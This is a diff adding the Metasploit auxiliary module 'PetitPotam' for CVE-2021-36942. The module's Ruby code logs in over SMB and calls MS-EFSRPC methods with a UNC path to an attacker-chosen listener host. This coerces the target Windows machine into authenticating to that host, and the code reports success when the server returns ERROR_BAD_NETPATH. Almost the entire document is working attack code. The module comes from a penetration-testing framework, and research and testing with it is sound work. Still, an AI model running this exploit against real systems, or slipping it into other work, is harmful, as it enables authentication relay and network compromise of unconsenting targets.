|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'windows_error' |
| 7 | +require 'ruby_smb' |
| 8 | +require 'ruby_smb/error' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Auxiliary |
| 11 | + include Msf::Exploit::Remote::DCERPC |
| 12 | + include Msf::Exploit::Remote::SMB::Client::Authenticated |
| 13 | + include Msf::Auxiliary::Scanner |
| 14 | + |
| 15 | + EncryptingFileSystem = RubySMB::Dcerpc::EncryptingFileSystem |
| 16 | + |
| 17 | + METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv].freeze |
| 18 | + PIPE_HANDLES = { |
| 19 | + lsarpc: { |
| 20 | + uuid: EncryptingFileSystem::LSARPC_UUID, |
| 21 | + opts: ['\\lsarpc'.freeze] |
| 22 | + }, |
| 23 | + efsrpc: { |
| 24 | + uuid: EncryptingFileSystem::EFSRPC_UUID, |
| 25 | + opts: ['\\efsrpc'.freeze] |
| 26 | + }, |
| 27 | + samr: { |
| 28 | + uuid: EncryptingFileSystem::LSARPC_UUID, |
| 29 | + opts: ['\\samr'.freeze] |
| 30 | + }, |
| 31 | + lsass: { |
| 32 | + uuid: EncryptingFileSystem::LSARPC_UUID, |
| 33 | + opts: ['\\lsass'.freeze] |
| 34 | + }, |
| 35 | + netlogon: { |
| 36 | + uuid: EncryptingFileSystem::LSARPC_UUID, |
| 37 | + opts: ['\\netlogon'.freeze] |
| 38 | + } |
| 39 | + }.freeze |
| 40 | + |
| 41 | + def initialize |
| 42 | + super( |
| 43 | + 'Name' => 'PetitPotam', |
| 44 | + 'Description' => %q{ |
| 45 | + Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods. |
| 46 | + }, |
| 47 | + 'Author' => [ |
| 48 | + 'GILLES Lionel', |
| 49 | + 'Spencer McIntyre' |
| 50 | + ], |
| 51 | + 'References' => [ |
| 52 | + [ 'CVE', '2021-36942' ], |
| 53 | + [ 'URL', 'https://github.com/topotam/PetitPotam' ], |
| 54 | + [ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ] |
| 55 | + ], |
| 56 | + 'License' => MSF_LICENSE |
| 57 | + ) |
| 58 | + |
| 59 | + register_options( |
| 60 | + [ |
| 61 | + OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]), |
| 62 | + OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]), |
| 63 | + OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ]) |
| 64 | + ] |
| 65 | + ) |
| 66 | + end |
| 67 | + |
| 68 | + def run_host(_ip) |
| 69 | + connect |
| 70 | + smb_login |
| 71 | + |
| 72 | + handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym] |
| 73 | + fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args |
| 74 | + |
| 75 | + handle = dcerpc_handle( |
| 76 | + handle_args[:uuid], |
| 77 | + handle_args.fetch(:version, '1.0'), |
| 78 | + handle_args.fetch(:protocol, 'ncacn_np'), |
| 79 | + handle_args[:opts] |
| 80 | + ) |
| 81 | + vprint_status("Binding to #{handle} ...") |
| 82 | + dcerpc_bind(handle) |
| 83 | + vprint_status("Bound to #{handle} ...") |
| 84 | + |
| 85 | + if datastore['METHOD'] == 'Automatic' |
| 86 | + methods = METHODS |
| 87 | + else |
| 88 | + methods = [datastore['METHOD']] |
| 89 | + end |
| 90 | + |
| 91 | + methods.each do |method| |
| 92 | + vprint_status("Attempting to coerce authentication via #{method}") |
| 93 | + response = efs_call( |
| 94 | + method, |
| 95 | + file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}" |
| 96 | + ) |
| 97 | + next if response.nil? |
| 98 | + |
| 99 | + error_status = response.error_status.to_i |
| 100 | + win32_error = ::WindowsError::Win32.find_by_retval(error_status).first |
| 101 | + case win32_error |
| 102 | + when ::WindowsError::Win32::ERROR_BAD_NETPATH |
| 103 | + # this should be the response even if LISTENER was inaccessible |
| 104 | + print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful') |
| 105 | + break |
| 106 | + when nil |
| 107 | + print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}") |
| 108 | + else |
| 109 | + print_status("Server responded with #{win32_error.name} (#{win32_error.description})") |
| 110 | + end |
| 111 | + end |
| 112 | + end |
| 113 | + |
| 114 | + def efs_call(name, **kwargs) |
| 115 | + request = EncryptingFileSystem.const_get("#{name}Request").new(**kwargs) |
| 116 | + |
| 117 | + begin |
| 118 | + raw_response = dcerpc.call(request.opnum, request.to_binary_s) |
| 119 | + rescue Rex::Proto::DCERPC::Exceptions::Fault => e |
| 120 | + print_error "The #{name} Encrypting File System RPC request failed (#{e.message})." |
| 121 | + return nil |
| 122 | + end |
| 123 | + |
| 124 | + EncryptingFileSystem.const_get("#{name}Response").read(raw_response) |
| 125 | + end |
| 126 | +end |
0 commit comments